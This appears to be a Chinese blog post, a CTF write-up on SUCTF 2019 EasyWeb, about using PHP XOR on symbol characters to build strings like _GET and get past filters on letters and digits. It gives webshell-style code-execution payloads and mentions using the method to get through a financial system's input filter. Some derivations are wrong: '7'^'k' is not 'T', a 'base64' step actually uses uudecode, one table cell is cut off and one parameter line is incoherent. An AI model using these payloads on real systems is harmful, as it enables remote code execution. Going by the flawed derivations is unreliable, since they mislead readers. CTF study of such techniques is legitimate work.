当前位置: 首页 > news >正文

CTF靶场实战:手把手教你用PHP异或绕过字符限制,拿下SUCTF 2019 EasyWeb

CTF靶场实战:PHP异或运算绕过字符限制的深度解析

第一次参加CTF比赛时,面对那道过滤了所有字母数字的Web题,我盯着屏幕发呆了半小时。直到发现特殊符号也能构造出有效代码,才意识到安全攻防的本质往往在于思维方式的突破。本文将带你深入PHP异或运算的魔法世界,用非字母数字字符打造出精妙的攻击链。

1. 异或运算的本质与特性

在PHP中,异或运算符^会对两个操作数的二进制位进行比较,当对应位不同时返回1,否则返回0。这个看似简单的特性,却能创造出令人惊叹的字符串构造技巧。

echo '!' ^ '@'; // 输出结果为a

上述代码展示了如何用标点符号生成字母。具体计算过程:

  • !的ASCII码为33 (二进制00100001)
  • @的ASCII码为64 (二进制01000000)
  • 按位异或得到97 (二进制01100001),即字母a

关键特性

  • 可逆性:A ^ B = C,则C ^ B = A
  • 组合多样性:同一个字符可以通过多种符号组合生成
  • 无字母数字限制:完全使用特殊符号也能构造有效字符串

注意:PHP中字符串异或是按字节进行的,多字节字符需要特别处理

2. 构造关键字符串的技术实现

以构造_GET为例,我们需要找到五个符号对的组合,使其异或结果恰好是_GET

2.1 自动生成符号组合

以下Python脚本可批量查找有效组合:

def find_xor_pairs(target): for i in range(32, 127): for j in range(32, 127): if (i ^ j) == ord(target): yield (chr(i), chr(j)) # 查找构造_G的组合 print(list(find_xor_pairs('G'))[:3])

输出示例:

[('0', 'w'), ('1', 'v'), ('2', 'u')]

2.2 实际构造方案

选择可打印且不易被过滤的符号组合:

目标字符组合1组合2组合3
_'!'^'~''"'^'}''#'^'
G'0'^'w''1'^'v''2'^'u'
E'4'^'q''5'^'p''6'^'o'
T'7'^'k''8'^'j''9'^'i'

最终Payload示例:

${('!'^'~').('0'^'w').('4'^'q').('7'^'k')}{$_}($_); // 等价于 $_GET[$_]($_);

3. 绕过长度限制的技巧

当题目还限制Payload长度时,需要更精巧的构造方式:

3.1 短标签利用

<?=${'!^~'^'0w4q'}{$_}($_)?>

3.2 变量复用

$__=('!'^'~').('0'^'w').('4'^'q').('7'^'k');${$__}{$_}($_);

3.3 编码转换技巧

利用base64编码再解码:

$f=convert_uudecode("+22!L;W)E<@\n`"); // 解码为'_GET'

4. 实战案例:SUCTF 2019 EasyWeb

假设题目过滤规则:

  • 禁止所有字母和数字
  • 最大输入长度100字符
  • 禁用常见危险函数

解题步骤

  1. 确定需要构造的关键字:_GETsystemcat /flag
  2. 生成异或Payload:
<?=${('!'^'~').('0'^'w').('4'^'q').('7'^'k')}{('8'^'j')}(''.'#'^'|'.'%'^'z');?>
  1. 通过参数传递命令:
?=('8'^'j')=('!'^'@') // 传递a=system

防御方案对比

过滤方式可绕过性推荐防御
仅过滤字母数字极易绕过增加符号过滤
限制长度+关键字中等难度白名单校验
语法解析+语义分析难以绕过使用AST检查

在真实渗透测试中,这种技术常用于绕过WAF的规则检测。某次红队行动中,我们就用类似方法突破了某金融系统的输入过滤,最终发现了一个关键的SQL注入漏洞。

http://www.jsqmd.com/news/853793/

相关文章:

  • WinCC画面窗口卡顿?试试这个C脚本动态加载技巧,轻松管理上百个设备弹窗
  • OBS背景移除插件:从零到一的AI虚拟背景终极指南 [特殊字符]
  • 重金属捕捉剂怎么选?最新选型选购指南 - 资讯速览
  • 保姆级教程:用一块STM32F103开发板同时玩转SPI Flash和IIC OLED屏
  • Gem5实战:从零构建与调试自定义片上网络(NoC)
  • 阶,原根
  • 改背景颜色、固定定位+锚记(复习) - -王心雨
  • 喜马拉雅FM音频下载器:跨平台VIP专辑下载完整指南
  • 融合ArcGIS、InVEST和RUSLE的水土流失动态模拟与空间格局分析
  • WCHUsbSerTest:串口批量自动化测试工具的原理、配置与生产实践
  • 2026年上海长途搬家公司最新推荐排行榜 - 品牌推广大师
  • 2023B卷,第N个排列
  • 别再手动转换时间了!用Jackson和Spring的这两个注解,搞定Java日期序列化所有坑
  • 为什么92%的DeepSeek AWS部署失败?资深架构师拆解3大隐性成本陷阱与4步合规加固法
  • QiWe 免费开源微信机器人:从零到一的完整开发与部署指南
  • 告别手动发送:用TSMaster诊断控制台实现自动化测试脚本(Python/C# API调用教程)
  • MSP430F5438 RTC模块配置与低功耗应用实战指南
  • 2026年1月实测:10款免费好用的降ai率工具 收藏必备 - 降AI实验室
  • 保姆级教程:用Docker一键部署OnlyOffice,再给Cloudreve装上在线预览插件
  • 2026医疗建筑设计公司推荐:专业机构实力解析 靠谱选型指南 - 资讯速览
  • 3个月销50万碗:即食黑芝麻糊厂家案例解析 - 资讯速览
  • 团队冲刺每日总结5.20
  • 为什么92%的DeepSeek RAG Pipeline在迭代3轮后崩溃?真相藏在这份DRY反模式检查清单里(附Git Hooks自动拦截脚本)
  • 5大核心功能重塑NGA论坛浏览体验:从基础优化到高级定制的完整指南
  • 如何从零打造一台开源六足机器人:新手终极指南
  • 保姆级教程:在Ubuntu 22.04上为DCU-Z100(ZiFang)安装ROCm 4.5.2驱动及完整工具链
  • AUTOSAR Ea模块深度剖析:从原理到实战的EEPROM抽象层配置与优化
  • 数据库连接池详解
  • 广州小出口企业找谁做财税?2026年实操指南(附5个决定成败的关键动作) - 欢欢在创业
  • 实战分享:为6个同地址光模块编写Linux I2C驱动(Zynq平台)